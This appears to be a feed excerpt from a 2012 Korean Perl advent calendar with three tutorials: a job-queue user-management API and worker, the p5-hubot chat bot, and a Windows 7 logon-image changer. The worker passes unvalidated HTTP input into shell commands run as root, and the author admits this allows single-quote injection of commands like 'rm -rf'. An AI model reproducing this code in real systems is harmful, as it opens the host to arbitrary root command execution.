$self->render_json({ err => 'require id' }), return unless $id;
my $ret = enqueue(
$dirq,
{
type => 'user.del',
id => $self->param('id'),
},
);
$self->render_json({ err => 'enqueue failed' }), return unless $ret;
$self->render_json({ msg => 'user.del success' });
};
app->start;
sub enqueue {
my ( $dirq, $data ) = @_;
my $json = try { encode_json($data) };
return unless $json;
my $job = $dirq->add($json);
return $job;
}
</pre>
<p>단순한 작업을 위해 간결한 잡큐를 사용한다면 웹프레임워크 역시
간결할 수록 좋겠죠? <a href="http://mojolicio.us/">Mojolicious</a>는 <a href="http://perldancer.org/">Dancer</a>와
더불어 펄의 대표적인 경량 웹 프레임워크입니다.
각각의 웹 프레임워크에 대한 자세한 설명은 공식 홈페이지
또는 CPAN의 공식 문서를 참조하세요.</p>
<p><em>겨우 50~70여줄의 코드</em>로 <em>HTTP 기반의 API 서버</em>를 만들었습니다.
우리의 API 서버와 잡큐 시스템이 제대로 동작하는지 테스트해보죠.
HTTP POST 요청을 받도록 했기 때문에 시스템의 <code>curl</code> 명령을 이용해서
간단히 테스트할 수 있습니다.
우선 다음 명령을 이용해서 API 서버를 실행시킵니다.</p>
<pre class="brush: bash;">
$ morbo manage-user-web.pl
</pre>
<p><code>curl</code> 명령을 이용해 사용자 추가 및 제거 기능을
테스트하는 명령은 다음과 같습니다.</p>
<pre class="brush: bash;">
# 사용자 추가 테스트
$ curl -d '' http://localhost:3000/user/add ;echo;
{"err":"require id"}
$ curl -d 'id=keedi' http://localhost:3000/user/add ;echo;
{"err":"require name"}
$ curl -d 'id=keedi&name=Keedi%20Kim' http://localhost:3000/user/add ;echo;
{"err":"require key"}
$ curl -d 'id=keedi&name=Keedi%20Kim&key=pubkey_string' http://localhost:3000/user/add
{"msg":"user.add success"}
# 사용자 제거 테스트
$ curl -d '' http://localhost:3000/user/del ;echo;
{"err":"require id"}
$ curl -d 'id=keedi' http://localhost:3000/user/del ; echo;
{"msg":"user.del success"}
</pre>
<p>잘 동작하는군요. 이제 큐에 제대로 저장되었는지 확인해보죠.</p>
<pre class="brush: bash;">
$ tree /tmp/manage-user/
/tmp/manage-user/
|-- 50af3084
| `-- 50af30be7356e0
`-- 50af30c0
`-- 50af30f96a20a0
2 directories, 2 files
</pre>
<p><code>tree</code> 명령으로 <code>/tmp/manage-user</code> 디렉터리 구조를 살펴보면
두 개의 파일이 추가되었음을 확인할 수 있습니다.
각각의 파일을 살펴보죠.</p>
<pre class="brush: bash;">
$ cat /tmp/manage-user/50af3084/50af30be7356e0
{"key":"pubkey_string","name":"Keedi Kim","id":"keedi","type":"user.add"}
$ cat /tmp/manage-user/50af30c0/50af30f96a20a0
{"id":"keedi","type":"user.del"}
</pre>
<p>이전 HTTP POST 방식으로 보낸 요청이 <code>type</code> 속성과 함께 JSON으로 인코딩되어
정상적으로 저장되었음을 확인할 수 있습니다. :)</p>
<h3>백엔드</h3>
<p>큐에는 작업이 쌓여가고 이제는 큐에서 요청을 꺼내서 작업을 처리해야겠죠?
잡큐에 쌓인 일을 꺼내서 하나씩 처리하는 프로세스를 잡큐 워커라고 합니다.
서버처럼 계속 상주하면서 큐를 감시해야 하므로 워커 데몬이라고 부를 수도 있습니다.
워커 데몬을 만드는 방법은 무척 많습니다.
가장 간단한 방법 중 하나인 <code>while (1) { ... }</code> 구문을 이용할텐데
이부분은 취향에 따라 적절하게 구현하거나 관련 모듈을 사용하면 됩니다.
HTTP API로 받은 사용자의 요청을 처리하는 워커 데몬을 만들어보죠.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use 5.010;
use utf8;
use strict;
use warnings;
use Directory::Queue::Simple;
use Encode qw( decode_utf8 );
use JSON;
use Log::Log4perl qw( :easy );
use Try::Tiny;
my $dirq = Directory::Queue::Simple->new(
path => '/tmp/manage-user',
);
while (1) {
for ( my $name = $dirq->first; $name; $name = $dirq->next ) {
next unless $dirq->lock($name);
DEBUG "Dequeue $name";
my $data = try { decode_json $dirq->get($name) };
given ($data->{type}) {
add_user($data), $dirq->remove($name) when 'user.add';
del_user($data), $dirq->remove($name) when 'user.del';
default { WARN "Ignore: $data->{type}"; $dirq->unlock($name); }
}
sleep 3;
}
sleep 5;
}
sub add_user {
my $params = shift;
my $id = $params->{id};
my $name = $params->{name};
my $key = $params->{key};
INFO decode_utf8("Add $id($name)");
my $sh = <<"END_SH";
/usr/sbin/adduser --gecos '$name' --disabled-password '$id';
mkdir '/home/$id/.ssh';
echo '$key' > '/home/$id/.ssh/authorized_keys';
chmod 600 '/home/$id/.ssh';
chmod 600 '/home/$id/.ssh/authorized_keys';
END_SH
DEBUG decode_utf8($sh);
system $sh;
}
sub del_user {
my $params = shift;
my $id = $params->{id};
INFO decode_utf8("Del $id");
my $sh = <<"END_SH";
/usr/sbin/deluser --remove-home '$id';
END_SH
DEBUG decode_utf8($sh);
system $sh;
}
</pre>
<p>워커 자체는 두 개의 함수로 이루어져 있는 매우 간단한 스크립트입니다.
잡큐에 저장되어 있는 처리해야 할 일의 종류(<code>type</code>)에 따라 <code>add_user()</code> 함수와
<code>del_user()</code> 함수 중 적절한 항목을 실행합니다.
실제로 <code>adduser</code>나 <code>deluser</code>는 루트권한이 필요한 시스템 명령어(데비안 리눅스 기준)이기
때문에 워커 스크립트는 반드시 루트 권한으로 실행해야 합니다.
각각의 시스템 명령어에 대한 자세한 정보는 <code>man</code> 페이지를 참조하세요.</p>
<h2>정리하며</h2>
<p>지금까지 작성한 잡큐와 프론트엔드(웹응용), 그리고 백엔드(워커)는
매우 간단한 수준이지만 더욱 더 발전시킨다면 시스템 관리 측면에서
제법 높은 수준의 자동화를 완성할 수 있습니다.
현재는 사용자 입력에 대한 검증 부분이 빠져 있으므로 쉘 명령 실행시
싱글 쿼터 인젝션으로 인해 <code>rm -rf</code>와 같은 명령이 실행될 여지가 있습니다.
이런 부분은 프론트엔드인 웹 응용쪽에서 입력값 검증을 통해 간단하게 해결할 수 있습니다.
더불어 사용자에게 잡큐로 처리한 결과를 되돌려주는 비동기 처리에 대한
응답(콜백이나 훅 등)을 어떻게 할 것인지도 고민(물론 필요 없을수도 있지만...)해야 합니다.
이러한 추가적인 기능이나 보완 사항은 숙제로 남겨두겠습니다. :)</p>
<p>비록 잡큐는 새로운 기술이 아닌만큼 조금 진부할 수도 있는 주제입니다만,
잡큐 관리와 비동기 처리에 대한 부담만 받아들일 수 있다면
시간을 많이 소요하는 복잡한 일을 수월하게 처리할 수 있게 도와주는 매력적인 도구입니다.
펄 역시 현대적이고 견고한 여러 잡큐를 지원하고 있습니다.
그 중에서도 <a href="https://metacpan.org/module/Directory::Queue">Directory::Queue</a>는 무척 가벼운 잡큐 시스템입니다.
여러분이 구현해야할 시스템에 따라 적절한 잡큐를 선택한다면
성공적인 시스템을 만드는데 도움이 될 것입니다.</p>
<p>Enjoy Your Perl! ;-)</p>
2012-12-03T00:00:00+09:00keediPerl Hubothttp://advent.perl.kr/2012/2012-12-02.html<h2>저자</h2>
<p><a href="http://twitter.com/aanoaa">@aanoaa</a> - Perl, 콧수염, 야구, 자전거, 낙타, 돌고래, 포청천 마니아.
아이유 열혈 삼촌팬. Perl과 Javascript, 안드로이드 어플리케이션 개발에 능하다.
일신 상의 이유로 Vim을 버리고 Emacs로 투신. <a href="http://aanoaa.github.com/">콧수염 블로그</a>를 운영 중.
최근 hubot 모듈 운영에 애정을 쏟고 있다.</p>
<h2>시작하며</h2>
<p>p5-hubot은 쉽게 확장 가능한 IRC 봇입니다.
하지만 IRC에 국한되지 않고 다양한 프로토콜 환경에서 동작할 수 있습니다.
p5-hubot을 소개하고 이를 사용하고 확장하는 방법에 대해 이야기합니다.</p>
<h2 id="p5">p5?</h2>
<p>p5는 <em>Perl 5</em>를 뜻합니다. 펄 모듈의 이름은 대문자로
시작하지만, 소스저장소의 이름로 사용할 때에는 다른 프로젝트와 구별하기
위해 <code>p5</code>를 접두어로 붙이곤 합니다.</p>
<h2 id="hubot">hubot?</h2>
<p><img src="2012-12-02-1_r.jpg" alt="hubot" id="hubot" />
<em>그림 1.</em> hubot (<a href="2012-12-02-1.jpg">원본</a>)</p>
<p><a href="#hubot" title="hubot?">hubot</a>은 <a href="https://github.com/">github</a>에서
만든 채팅용 봇입니다. 어댑터(adapter)와 스크립트(script)를 확장해서 사용할 수
있습니다. CoffeeScript로 작성되어 있고, node.js로 동작합니다.</p>
<pre class="brush: plain;">
adapter script
+---------+
| ascii |
+-----------+ +---------++----------+|---------|
| | | || || help |
| Campfire | - | || ||---------|
| | | || Brain || roles |
+-----------+ | || Robot ||---------|
| Adapter || Listener || eval |
| || User ||---------|
+-----------+ | || Message || google |
| | | || Response ||---------|
| IRC | - | || || standup |
| | | || ||---------|
+-----------+ +---------++----------+| twitter |
|---------|
| ..... |
+---------+
</pre>
<p>위와 같이 어댑터와 스크립트 단이 분리된
구조로 설계되어 있기 때문에 다음의 장점이 있습니다.</p>
<ul>
<li>스크립트를 확장해서 필요한 기능을 구현하고 사용할 수 있습니다.</li>
<li>어댑터를 추가로 구현해서 외부 서비스에 붙이면 이미 구현된 많은
스크립트를 재사용할 수 있습니다.</li>
</ul>
<h2 id="p5-hubot">p5-hubot?</h2>
<p><a href="#p5-hubot" title="p5-hubot?">p5-hubot</a>은 펄로 만든
hubot입니다.
CoffeeScript보다 펄에 친숙한 사용자를 위해 만들어졌습니다.
구조를 자세히 살펴봅시다.</p>
<h3 id="adapter">Adapter</h3>
<p>먼저, 어댑터입니다. <code>Hubot::Adapter</code>는 연계될 서비스와의 인터페이스입니다.
현재 기본으로 제공되는 어댑터는 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/module/Hubot::Adapter::Shell">Shell</a>
<ul>
<li>스크립트 개발과 디버깅에 적합합니다</li>
<li>입력과 출력을 터미널에서 주고 받습니다.</li>
</ul></li>
<li><a href="https://metacpan.org/module/Hubot::Adapter::Irc">IRC</a></li>
<li><a href="https://metacpan.org/module/Hubot::Adapter::Campfire">Campfire</a></li>
</ul>
<p>따라서 동일한 버전의 p5-hubot은 IRC에서도 구동될 수 있고, 다른 환경에서도 구동될 수 있습니다.
카카오톡, 마이피플 등의 API가 공개되면 새 어댑터를 구현하면 쉽게 p5-hubot을 확장하여 사용할 수 있겠죠?</p>
<p>참고로, 원래 버전의 hubot은 아래와 같은 어댑터가 구현되어 있습니다.
이것을 p5-hubot을 위해 포팅해 보는 것은 어떨까요?</p>
<ul>
<li><a href="https://github.com/github/hubot/wiki/Adapter:-Flowdock">Flowdock</a></li>
<li><a href="https://github.com/github/hubot/wiki/Adapter:-HipChat">HipChat</a></li>
<li><a href="https://github.com/github/hubot/wiki/Adapter:-Partychat">Partychat</a></li>
<li><a href="https://github.com/github/hubot/wiki/Adapter:-Talkerapp">Talker</a></li>
<li><a href="https://github.com/github/hubot/wiki/Adapter:-Tetalab">Tetalab</a></li>
<li><a href="https://github.com/github/hubot/wiki/Adapter:-Twilio">Twilio</a></li>
<li><a href="https://github.com/github/hubot/wiki/Adapter:-Twitter">Twitter</a></li>
<li><a href="https://github.com/github/hubot/wiki/Adapter:-XMPP">XMPP</a></li>
<li><a href="https://github.com/github/hubot/wiki/Adapter:-Gtalk">Gtalk</a></li>
<li><a href="https://github.com/github/hubot/wiki/Adapter:-Yammer">Yammer</a></li>
<li><a href="https://github.com/netpro2k/hubot-skype">Skype</a></li>
<li><a href="https://github.com/smoak/hubot-jabbr">Jabbr</a></li>
</ul>
<h3 id="script">Script</h3>
<p>특정 패턴에 대해 반응하여 예약된 작업을 하는 논리적 코드의
집합입니다.
예를 들면, 어댑터가 <code>"hi"</code>라는 텍스트 입력을 보내면 해야 할
작업이 될 것입니다.</p>
<pre class="brush: perl;">
$robot->hear(qr/hi/i, sub { shift->send('hello') });
</pre>
<p>위 코드는 어댑터가 받은 입력이 <code>"hi"</code>라는 텍스트가 정규표현식에 일치하면, <code>"hello"</code>라는
출력을 보내는 코드입니다.</p>
<pre class="brush: plain;">
hshong> hi
hubot> hello
</pre>
<p>이와 같이 다양한 상황의 패턴에 대해 예약된 작업을
작성하여 기능을 확장해 나갈 수 있습니다.
이렇게 편리한 인터페이스를 통해 쉽게 확장할 수 있습니다.</p>
<h3>확장</h3>
<p>직접 hello라는 스크립트를 만들어 p5-hubot을 확장해 봅시다.
먼저 <code>hello.pm</code> 파일을 생성하고 아래와 같이 작성합니다.</p>
<pre class="brush: perl;">
# /path/to/lib/Hubot/Scripts/hello.pm
package Hubot::Scripts::hello;
sub load {
my ( $class, $robot ) = @_;
## robot respond only called its name first. `hubot xxx`
$robot->respond(
qr/hi/i, # aanoaa> hubot: hi
sub {
my $msg = shift; # Hubot::Response
$msg->reply('hi'); # hubot> aanoaa: hi
}
);
$robot->hear(
qr/(hello)/i, # aanoaa> hello
# () 안에 있는건 capture 됨
# $msg->match->[0] eq 'hello'
sub {
my $msg = shift;
$msg->send('hello'); # hubot> hello
}
);
}
1;
=head1 SYNOPSIS
hello - say hello
hubot hi - say hi to sender
=cut
</pre>
<p>이제 이것을 <code>PERL5LIB</code> 환경변수에 <code>@INC</code>에 등록할 경로를 추가해 사용할
수 있습니다.
아래와 같이 json 포맷으로 구성된
설정파일을 만들면 hubot이 구동될 때 자동으로 스크립트를 불러옵니다.</p>
<pre class="brush: jscript;">
// hubot-scripts.json
["hello","help"]
</pre>
<p>이제, 여러분이 작성한 스크립트를 사용할 수 있습니다!</p>
<h3>주요 메소드</h3>
<ul>
<li><code>load</code> 함수는 반드시 구현해야 합니다. <code>hubot-scripts.json</code>에
포함된 스크립트를 메인 루프 실행 전에 <code>load</code>라는 이름의 함수를 호출하여
불러들이기 때문입니다.
<ul>
<li>이때 <code>$class</code>는 패키지 이름이고, <code>$robot</code>은 <code>Hubot::Robot</code>의 인스턴스입니다.</li>
</ul></li>
<li><code>$robot->respond(pattern, callback)</code>
<ul>
<li><code>pattern</code> 패턴에 대해 <code>callback</code> 함수를 예약 작업으로 등록합니다.</li>
<li><code>^<robotname>[:,]?\s*<pattern></code>에 일치합니다. 즉, 문장 앞에 hubot의 이름을
언급한 경우에만 해당합니다.</li>
<li><code>callback</code>은 <code>Hubot::Response</code>의 인스턴스를 인자로 받습니다.</li>
<li><code>Hubot::Response</code>는 <code>send</code>, <code>reply</code>, <code>random</code>, <code>finish</code>,
<code>http</code> 등의 메소드를 통해 편리하게 어댑터에
데이터를 보낼 수 있습니다.</li>
</ul></li>
<li><code>$robot->hear(pattern, callback)</code>
<ul>
<li><code>respond</code> 메소드와 비슷하지만 단순히 <code><pattern></code>에 일치합니다.</li>
</ul></li>
<li><code>$robot->enter(callback)</code>
<ul>
<li>누군가가 들어왔을 때 실행됩니다.</li>
</ul></li>
<li><code>$robot->leave(callback)</code>
<ul>
<li>누군가가 나갔을 때 실행됩니다.</li>
</ul></li>
<li><code>$robot->catchAll(callback)</code>
<ul>
<li>모든 이벤트에 대해 실행됩니다.</li>
</ul></li>
</ul>
<p>가장 좋은 방법은 이미 구현되어 있는 스크립트의 소스 코드를 살펴보는
것입니다. <code>tell</code> 스크립트의 구현을 직접 살펴보세요.</p>
<ul>
<li><a href="https://metacpan.org/module/Hubot::Scripts::tell">Hubot::Scripts::tell</a></li>
</ul>
<h3>설치 및 실행</h3>
<p>CPAN을 통해 hubot을 설치합니다.</p>
<pre class="brush: bash;">
$ cpanm Hubot
</pre>
<p>그런 다음 바로 hubot을 입력하면 실행됩니다.
옵션을 지정하지 않으면 Shell 어댑터를 기본으로 사용합니다.</p>
<pre class="brush: bash;">
$ hubot
hubot> hubot help
# hubot help - Displays all of the help commands that Hubot knows about
# hubot help <query> - Displays all help commands that match <query>
# hello - say hello
# hubot hi - say hi to sender
Hubot> hello
hello
Hubot> hubot hi
Shell: hi
</pre>
<p>IRC에 접속하려면 <code>-a irc</code> 옵션을 추가합니다.</p>
<pre class="brush: bash;">
# irc 에 접속하시려면..
$ hubot -a irc
</pre>
<p>직접 만든 모듈을 로드하기 위해서는 <code>PERL5LIB</code>에 해당 모듈 경로를 등록합니다.</p>
<pre class="brush: bash;">
$ vim /path/to/lib/MyScript.pm
$ export PERL5LIB=/path/to/lib:$PERL5LIB
$ hubot
</pre>
<h2>정리하며</h2>
<p><a href="http://webchat.freenode.net/?channels=perl-kr">프리노드의 #perl-kr 채널</a>에는 최신 버전의 <code>p5-hubot</code>이 <code>hongbot</code>이라는
이름으로 동작하고 있습니다. 와서 구경해보시는 것도 좋겠지요. 확장해서
사용하고 싶은데 어려움을 느끼는 분은 채널에 들어오셔서 저에게 메세지를
남겨주세요.</p>
<pre class="brush: plain;">
### @freenode #perl-kr
you> hongbot tell hshong 아 이걸 이렇게 저렇게 하고 싶어여.
</pre>
<p>봇은 이제 그만 만들고 확장 스크립트를 만들어 공유하면 좋겠습니다.</p>
<h2>참고</h2>
<ul>
<li><a href="http://hubot.github.com">Hubot</a></li>
<li><a href="https://github.com/github/hubot">Hubot repository</a></li>
<li><a href="https://github.com/github/hubot-scripts">Hubot scripts</a></li>
</ul>
2012-12-02T00:00:00+09:00aanoaa윈도우7 로그온 이미지 자동 변경 프로그램http://advent.perl.kr/2012/2012-12-01.html<h2>저자</h2>
<p><a href="http://twitter.com/perlstudy">@perlstudy</a> - <a href="http://cafe.naver.com/perlstudy">네이버 Perl 카페</a> 운영자,
카페에 광고가 올라오면 번개같이 지운다고해서 광고어쌔씬이라 불린다.
홈페이지에 Perl과 관련한 유용한
정보를 종종 올리고 있다. 호네이, h0ney라는 닉을 사용하기도 한다.</p>
<h2>시작하며</h2>
<p>아래 그림은 어떤 그림일까요? 윈도우 사용자라면 누구나 바로 알 수 있을 겁니다. :)</p>
<p><img src="2012-12-01-1_r.png" alt="윈도우7 로그온 그림" id="" />
<em>그림 1.</em> 윈도우7 로그온 그림 (<a href="2012-12-01-1.png">원본</a>)</p>
<p>이 그림은 컴퓨터를 부팅한 뒤
Windows 7에 로그온할 때 나타나는 기본 로그온 그림입니다.
업체가 따로 설정하지 않으면 대부분 위의 그림으로 설정되어 있습니다.
이렇게 진부한 화면을 계속 보는 지루함은 도저히 견딜 수 없습니다!
지금부터 로그인 할 때마다 로그온 그림이 바뀌는 프로그램을 제작해 봅시다.</p>
<h2>준비물</h2>
<p><a href="http://strawberryperl.com/">Strawberry Perl</a>을 설치하면 아래 모듈이 모두
기본적으로 제공되므로 CPAN으로 따로 설치할 필요는 없습니다.</p>
<ul>
<li>Windows에서 Registry 변경을 위한 <a href="http://p3rl.org/Win32::TieRegistry">CPAN의 Win32::TieRegistry 모듈</a></li>
<li>Logon Image를 복사하기 위한 <a href="http://p3rl.org/File::Copy">CPAN의 File::Copy 모듈</a></li>
<li>로그온이 성공했는지 검사하기 위한 <a href="http://p3rl.org/Win32::EventLog">CPAN의 Win32::EventLog 모듈</a></li>
</ul>
<h2>레지스트리 변경</h2>
<p>로그온 그림을 변경하기 위해서는 먼저 레지스트리의 값을 설정해야 합니다.
<em>WindowsKey + r</em>을 통해 <em>실행</em>창에서 <code>regedit</code>를 입력하여
<em>레지스트리 편집기</em>를 실행합니다. 아래와 같이 레지스트리 키의 경로를 찾아갑니다.</p>
<pre class="brush: plain;">
HKEY_LOCAL_MACHINE\
Software\Microsoft\Windows\CurrentVersion\
Authentication\LogonUI\Background
</pre>
<p>위의 키로 찾아가면 <code>OEMBackground</code>라는 값이 보입니다.
이 값이 로그온 그림을 변경하기 위해 설정하는 값입니다.
이 값을 1로 변경해 줍시다.
<code>OEMBackground</code>라는 값이 없으면
값을 <em>DWORD 32 Bit</em> 타입으로 새로 만들어 <code>1</code>로 설정합니다.</p>
<p>그러면, 이런 과정을 일일이 거치는 것이 귀찮으니 펄 코드를 작성해 보겠습니다.
<a href="http://p3rl.org/Win32::TieRegistry">Win32::TieRegistry</a> 모듈을 사용하면 레지스트리를 쉽게 조작할 수 있습니다.
레지스트리를 수정하는 코드는 꼭 관리자 모드로 실행해 주세요~</p>
<pre class="brush: perl;">
use strict;
use warnings;
my %reg;
my $background = "LMachine/SOFTWARE/Microsoft/Windows"
. "/CurrentVersion/Authentication/LogonUI/Background";
use Win32::TieRegistry (
TiedHash => \%reg,
Delimiter => '/',
);
# Registry에 값을 설정해줍니다.
my $backgroundKey = $reg{$background};
if ( defined $backgroundKey ) {
my $OEMbackground = hex $backgroundKey->GetValue('OEMBackground');
unless ( defined $OEMbackground ) {
print
"OEMBackground 값이 없어 새로 만들어 설정합니다.\n";
$backgroundKey->{OEMBackground} = 1;
}
else {
if ( $OEMbackground == 0x1 ) {
print "이미 설정되어 있습니다.\n";
}
else {
print "비설정되어 있어 설정하였습니다\n";
$backgroundKey->{OEMBackground} = 1;
}
}
}
</pre>
<h2 id="logon">Logon 이미지 변경</h2>
<p>레지스트리를 설정한 뒤, 변경하고 싶은 로그온 그림을
아래 경로와 같은 파일명으로 복사하면 끝입니다!</p>
<pre class="brush: plain;">
%windir%system32\oobe\info\backgrounds\backgroundDefault.jpg
</pre>
<p><code>%windir%</code>로 설정된 폴더가 <code>C:\Windows</code>일 경우에
최종적인 파일의 경로는 아래와 같습니다.</p>
<pre class="brush: plain;">
C:\Windows\system32\oobe\info\backgrounds\backgroundDefault.jpg
</pre>
<p>그림을 복사하기에 앞서 로그온 그림이 필요합니다.
로그온에 쓸 이미지를 구글링을 통해
저장합니다. 이때 주의해야 하는 사항은 아래와 같습니다.</p>
<ul>
<li>복사된 파일의 이름은 반드시 <code>backgroundDefault.jpg</code>이어야 합니다. jpg 파일만 가능합니다.</li>
<li>파일의 크기는 256KB를 넘기면 안됩니다. 이 제한을 넘기면 적용되지 않습니다.</li>
<li>이미지가 화면 크기에 따라 자동으로(stretched-to-fit) 맞춰집니다. </li>
</ul>
<p>지금 사용하고 있는 모니터 해상도에 맞게 9개의 이미지를 구한 뒤
1.jpg부터 9.jpg까지 차례대로 저장합니다.</p>
<p><img src="2012-12-01-2_r.png" alt="구글링한 로그온 그림" id="" />
<em>그림 2.</em> 구글링한 로그온 그림 (<a href="2012-12-01-2.png">원본</a>)</p>
<p>이렇게 받은 다수의 그림을 사용하여 코드를 실행할
때마다 그림을 교체합시다.
무작위 선택을 위해 <a href="http://p3rl.org/List::Util">List::Util</a>의 <code>shuffle</code>함수를 이용합니다.
코드를 실행하고 <em>WindowsKey+L</em>키를 입력해 로그온 그림이 변경되었는지 확인해보세요. :)</p>
<pre class="brush: perl;">
use strict;
use warnings;
use File::Copy;
use List::Util qw(shuffle);
my $range = 9;
my @LogonImage = map { "./Image/$_.jpg" } 1 .. $range;
my $copy_path =
"$ENV{WINDIR}/System32/oobe/info/backgrounds/backgroundDefault.jpg";
my $random_path = shuffle @LogonImage;
copy( $random_path, $copy_path ) or die "Copy failed: $!";
</pre>
<h2>로그온 화면 체크</h2>
<p>로그온 화면을 바꾸는 부분은 그리 어렵지 않았습니다.
로그온 화면이 뜰 때마다 이미지를 바꾸기 위해서는 먼저 로그온 화면인지를 알아내야 합니다.
고민을 하던 중 '최상위 윈도우를 알아내는 <code>GetForegroundWindow()</code> API 함수를
사용하면 별로 어렵지 않겠지' 생각했는데,
이 함수로는 로그온 화면을 판별하지 못했습니다.
이는 <a href="http://support.microsoft.com/kb/118624/en-us">윈도우 NT 보안정책</a>으로서
사용자의 비밀번호를 얻는 도구로 사용될 수 있기 때문이었죠.
그 대안으로 실시간은 아니지만 이벤트 로그의
<em>Security</em>에서 로그인의 성공 여부를 확인하면 가능하다는 것을 알게 되었습니다.</p>
<p><img src="2012-12-01-3_r.png" alt="Security Event Log" id="securityeventlog" />
<em>그림 3.</em> Security Event Log (<a href="2012-12-01-3.png">원본</a>)</p>
<p>이 방법을 활용해 이벤트 로그를 1초 단위로 감시하다가
이벤트 로그에 변동이 있을 경우, 변동된 로그를 확인합니다.
로그의 EventID가 4624일 때 "로그인 성공"입니다.
이 로그를 확인하면 컴퓨터로 로그인 했으므로, 로그인 화면이라는 것을 알 수 있습니다.
그럼 로그인 화면을 체크하는 코드를 한번 짜보겠습니다~!</p>
<pre class="brush: perl;">
use strict;
use warnings;
use Win32::EventLog;
my ( $recs, $base );
my $hashRef;
my $handle = Win32::EventLog('Security')->new or die $!;
$handle->GetNumber($recs)
or die "Can't get number of EventLog records";
$handle->GetOldest($base)
or die "Can't get number of oldest EventLog records";
my $currentNumber = $recs;
while (1) {
$handle->GetNumber($recs);
if ( $currentNumber < $recs ) {
foreach my $x ( $currentNumber .. ( $recs - 1 ) ) {
$handle->Read( EVENTLOG_FORWARDS_READ | EVENTLOG_SEEK_READ,
$base + $x, $hashRef )
or die "Can't read EventLog entry #$x";
Win32::EventLog::GetMessageText($hashRef);
if ( $hashRef->{EventID} == 4624 ) {
print "EventID : $hashRef->{EventID}\n";
last;
}
}
$currentNumber = $recs;
}
sleep(1);
}
</pre>
<h2>만들어 봅시다</h2>
<p>위의 소스코드를 참고하여,
로그인을 할때마다 이미지가 랜덤으로 변경되는 프로그램을 만듭니다. 짜잔!!</p>
<pre class="brush: perl;">
use strict;
use warnings;
use Win32::EventLog;
use List::Util qw(shuffle);
use File::Copy;
my %reg;
my $background = "LMachine/SOFTWARE/Microsoft/Windows"
. "/CurrentVersion/Authentication/LogonUI/Background";
use Win32::TieRegistry (
TiedHash => \%reg,
Delimiter => '/',
);
my $range = 9;
my @LogonImage = map { "./Image/$_.jpg" } 1 .. $range;
my $copy_path =
"$ENV{WINDIR}/System32/oobe/info/backgrounds/backgroundDefault.jpg";
my $backgroundKey = $reg{$background};
if ( defined $backgroundKey ) {
my $OEMbackground = hex $backgroundKey->GetValue('OEMBackground');
if ( !defined $OEMbackground || $OEMbackground == 0x0 ) {
$backgroundKey->{OEMBackground} = 1;
}
}
my ( $recs, $base );
my $hashRef;
my $handle = Win32::EventLog('Security')->new or die $!;
$handle->GetNumber($recs)
or die "Can't get number of EventLog records";
$handle->GetOldest($base)
or die "Can't get number of oldest EventLog record";
my $currentNumber = $recs;
while (1) {
$handle->GetNumber($recs);
if ( $currentNumber < $recs ) {
foreach my $x ( $currentNumber .. ( $recs - 1 ) ) {
$handle->Read( EVENTLOG_FORWARDS_READ | EVENTLOG_SEEK_READ,
$base + $x, $hashRef )
or die "Can't read EventLog entry #$x";
Win32::EventLog::GetMessageText($hashRef);
last if $hashRef->{EventID} == 4624;
}
my $random_path = shuffle @LogonImage;
copy $random_path, $copy_path or die "Copy failed: $!";
$currentNumber = $recs;
}
sleep(1);
}
</pre>
<h2>정리하며</h2>
<p><a href="http://p3rl.org/Web::Scraper">Web::Scraper</a>를 통해
자신의 취향에 맞는 그림을 다운로드 한 뒤(<a href="#">Advent 2010년 기사 참고</a>),
컴퓨터를 켜고 끌때마다 코드를 한번씩만 실행시켜주어도
매번 색다른 그림으로 로그인 할 수 있습니다!</p>
<h2>후기</h2>
<p>제가 펄 크리스마스 달력의 첫번째 주자라 부담이 많이 되었는데,
매년마다 이런 좋은 기회를 주셔서 감사합니다.
저의 본업인 <a href="http://cafe.naver.com/perlstudy">네이버 Perl 카페</a> 광고 지우기도 열심히 하겠지만,
향후에는 <a href="http://sourcediet.cafe24.com/modern_perl_kr/chapter_00.html">Modern Perl</a> 번역 작업도 차근차근 진행하려 합니다.
같이 하실 분은 저에게 연락 주세요^^/</p>
<p>올해에도 펄 크리스마스 달력으로 수고하시는
<a href="http://twitter.com/am0c">@am0c</a>님과 <a href="http://perl.kr/">서울 펄 몽거스</a> 여러분 정말 멋지십니다!
펄 커뮤니티 화이팅 >_<</p>
<h2>참고문서</h2>
<ul>
<li><a href="http://www.makeuseof.com/tag/how-to-change-windows-7-logon-screen/">How To Change Windows 7 Logon Screen</a></li>
<li><a href="http://www.withinwindows.com/2009/03/15/windows-7-to-officially-support-logon-ui-background-customization/">Windows 7 to officially support logon UI background customization</a></li>
</ul>
2012-12-01T00:00:00+09:00perlstudy